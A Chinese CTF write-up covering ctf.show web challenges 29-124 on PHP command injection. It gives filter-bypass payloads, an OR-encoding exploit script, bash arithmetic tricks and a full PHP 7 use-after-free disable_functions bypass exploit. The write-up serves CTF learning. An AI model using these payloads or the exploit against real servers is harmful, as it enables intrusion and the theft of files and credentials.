题目地址:https://ctf.show/challenges
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
构造payload(这里在Y4大佬那看到有五种):
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤
web30
多了一个system和php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用
web31
过滤了cat\sort等,空格也被过滤了
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
payload:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
web32
小知识:include不用括号,分号可以用?>代替。
这个题过滤了空格属实有点难受,php中不用括号的有echo include等
过滤了分号可以用?>绕过。
尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤$,我们可以用$_POST[1]呀include"$_POST[1]"?>然后post传参1=/etc/passwd执行成功。还有一个问题include包含php文件不会在页面显示出来,可以用伪协议
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy
得到base64,再解码一下就可得到flag
web33-36
payload:
c=include$_GET[a]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>
1=data://text/palin,<?php system("nl flag.php");?>
web37
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执行日志包含
c=/var/log/nginx/access.log
web38
nginx的日志文件/var/log/nginx/access.log
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
在上一道题的基础上过滤了php,和file
所以:
c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
c=/var/log/nginx/access.log
web39
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
限制了后缀,我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。
最后试了试data协议,发现成功了。
payload:
c=data:text/plain,<?php system('cat f*')?>
这样就相当于执行了php语句<?php system('cat f*')?>.php
因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
web40
show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
passid=ls
具体做法可以参考下GXYCTF的禁止套娃
仔细看下题会发现过滤的不是英文括号,而是中文括号。
所以基本的命令都可以用,但是很难受的是引号没了,美元符号没了。
读文件+数组改造
先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了。
web41
这题脚本取自yu师傅,看着这脚本应该挺有用的留着
链接:https://blog.csdn.net/miuzzx/article/details/108569080?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-4.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-4.control
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
运行结果:
H:\CTF\CTFshow\Web入门\web 29-77 命令执行\web 41> python .\exp.py http://a58e5999-cefa-47bc-a894-858214bef68f.chall.ctf.show:8080/ `[+] your function:system [+] your command:ls [*] result: flag.php index.php index.php [+] your function:system [+] your command:cat flag.php [*] result: <?php /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31:22 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:33:10 # @email: 1341963450@qq.com # @link: https://ctf.show */ $flag="ctfshow{5420f4c4-227f-43c0-b34d-83ba24cb72ba}";`
web42
hint:cat flag.php%0a 查看源代码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a,还可以用%26以及||
?c=ls;
payload:
?c=cat flag.php;
web43
hint:nl flag.php%0a 查看源代码
过滤了;|cat
?c=ls%0a
payload:
?c=more flag.php%0a
web44
hint:nl fla*.php%0a 查看源代码
过滤了;|cat|flag
?c=ls%0a
payload:
?c=more f*%0a
或者通配符
payload:
?c=nl%20fl*%0a
web45
hint:echo$IFStac$IFS*
%0A
过滤了;|cat|flag|空格
?c=ls%0a
payload:
?c=more${IFS}f*%0a
也就是多过滤了一个空格,众所周知php环境下可以用%09代替空格
payload:
?c=nl%09fl*%0a
或者使用内联执行
payload:
?c=echo反引号nl\$IFS*反引号%0A
web46
hint:nl<fla''g.php||
过滤了;|cat|flag|空格|数字|$|*
?c=ls%0a
payload:
?c=more%09fla?.php%0a
多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""等等都行
payload:
?c=nl%09fla\g.php%0a
还可以是,因为||默认是前面成功则不执行后面
payload:
?c=nl%09fla\g.php||
web47
hint:nl<fla''g.php||
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令
?c=ls%0a
payload:
?c=nl%09fla?.php%0a
?c=nl<fla''g.php||
web48-49
同web47
多给几个payload:
payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26
基本上用这些就可以打好多题了...
web50
hint:依旧是nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了;|cat|flag|空格|数字|$|*|几个查看文件命令|%
?c=ls%0a
payload:
?c=nl<>fla\g.php%0a
web51
同web50
web52
hint终于变了:nl$IFS/fla''g||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
1.过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
查看当前目录下的文件:
?c=ls%0a
查看flag.php:
里面是假的。。。
尝试查看根目下的所有目录:
?c=ls${IFS}/%0a
查看根目录下的flag:
payload1:
?c=nl${IFS}/fla\g%0a
2.虽然很多能当空格的都被过滤了但是,$却没有过滤,那么很明显了
payload2:
?c=nl$IFS\fla\g.php||
web53
hint:c''at${IFS}fla''g.p''hp
过滤了;|cat|flag|空格|数字|*|几个查看文件命令|%|<>
?c=ls
payload1:
?c=nl${IFS}fla?.php
payload2:
?c=nl$IFS\fla\g.php
web54
hint:/bin/?at${IFS}f???????
过滤了;|cat|flag|空格|数字|查看文件命令nl等|`|%|\x09(空格)|\x26(&)|<|>
?c=ls%0a 回显flag.php
?c=cat flag.php;
即payload:
?c=paste${IFS}fla?.php
加强了正则表达式,或者用通配符就行了
payload2:
?c=/bin/c??${IFS}????????
payload3:
?c=/bin/c??$IFS????????
web55
参考:继无字母数字的命令执行(ctfshow web入门 55)新姿势
过滤了;|小写字母|`|%|\x09(空格)|\x26(&)|<|>
因为过滤了字母,有一个含数字的base64命令可以读文件,用通配符绕过字母,在/bin目录下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???
解法2:
bzip2命令是一个压缩文件的命令,压缩文件后缀为.bz2,命令路径:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
压缩后下载,访问/flag.php.bz2。
解法3:
这个不是通用的,因为base64不是每个机器都有,当然为了方便还是写了个脚本
exp:
import requests
while True:
url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
web56
参照web55解法3
web57
hint:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1
其他姿势
?c=grep${IFS}'fla'${IFS}fla??php
关键源码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
过滤了字母、数字、分号、2个通配符
又学到一个点
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
这道题的目的是构造36这个数字,这里利用了$(( ))与整数运算
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
web58
hint:c=show_source('flag.php');
关键源码:
if(isset($_POST['c'])){
$c= $_POST['c'];
POST:直接传参 c=show_source('flag.php');
接下来的系列是绕过disable_functions系列,为了加深自己的印象,我决定多学点东西
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "
"; };
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释file — 把整个文件读入一个数组中
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");
web59
在这里web59-64同web58,都可以打通关,在Y4大佬那学点东西,还是补充一下
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下
//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
web60
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下
//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
同时记录一个,但是这道题不能用
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
还有新姿势
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt"); //过60
rename("flag.php","flag.txt"); //过60
web61-65
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));
//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
web66
hint:c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
关键源码:
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
用show_source(),回显该函数被禁用
直接读flag.php,发现位置不对
查看根目录下的文件:
POST:c=print_r(scandir("/"));
POST:c=highlight_file('/flag.txt');
web67
hint:c=highlight_file('/flag.txt');
print_r()被禁用
查看根目录下有哪些文件:
POST:c=var_dump(scandir("/"));
POST:c=highlight_file('/flag.txt');
或:扫描目录c=var_dump(scandir("/"));,发现是flag.txt
//下面是payload:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68
hint:尝试include('index.php');
发现字节太大了 直接盲猜 c=include('/flag.txt')
show_source()和highlight_file()被禁用
POST:c=include('/flag.txt');
这里68-70可以用这个通杀
扫描目录c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//payload介绍
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
web69
查看根目录下的文件:
print_r()、var_dump()被禁用
POST:c=var_export(scandir("/"));
POST:c=include('/flag.txt');
web70
error_reporting() 、 ini_set()、 highlight_file()被禁用
看根目录的文件:
POST:c=include('/flag.txt');
web71
hint:我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);
代码审计,这里先介绍几个函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
然后看这里有一句官方的介绍
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
做一个实验:
<?php
$a = 'system("ls");';
eval($a);
//在网页中会输出内容
<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//
<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//在这里则在网页当中没有输出内容,不难看出其取得了缓冲区的内容并清空了缓冲区
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
所以不难想出payload:
c=require_once('/flag.txt');exit();这里通过exit();使程序提前退出,绕过后面的正则表达式
web72
hint:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行
<?php
$a = '?><?php echo 111;?>';
eval($a);
这里的?>是为了闭合前面<?php
payload:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
需要把里面的payload进行url编码
附上群主大大的uaf脚本:
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
web73
hint:c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
#查看flag在flagc.txt
payload:
c=include('/flagc.txt');exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
web74
hint:payload:c=include('/flagc.txt');exit(0);
c=include('/flagx.txt');exit(0);
web75
hint:c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
这给的两个其实就是payload
emmm刚开始这个题确实是没做出来,多尝试几遍就出来了
web76
同上
web77
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
读取目录
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现一个flag36x.txt和readflag,题目提示了php7.4,搜了一下是利用FF1拓展(php7.4开始才有)
payload:
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
这里flag36x.txt读取不出来没有回显,所以利用readflag那个文件,把他输出到新文件flag.txt中
接着访问flag.txt就行了
web118
在原来过滤的基础上增加了数字的过滤。
linux中存在的大量的内置变量
月饼杯web3 payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php
所有我们现在想到简易一点的方法就是得到一个n一个l
发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用~获取变量的最后几位
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}
payload: code=${PATH:~A}${PWD:~A} ????.???
web119
在118的基础上增加了 PATH、BASH、HOME的过滤
这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
数字1可以用$SHIVL
payload:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
web120
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
关键源码:
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?替代
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
其他的不需要改变
payload:
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
/bin/rev
${#?} => 1
这里使用的是rev命令取反查看
web122
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
出现4的几率虽然小,但是是有可能的,不断刷新即可
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number
decbin — 十进制转换为二进制
decbin ( int $number ) : string
dechex — 十进制转换为十六进制
dechex ( int $number ) : string
decoct — 十进制转换为八进制
decoct ( int $number ) : string
hexdec — 十六进制转换为十进制
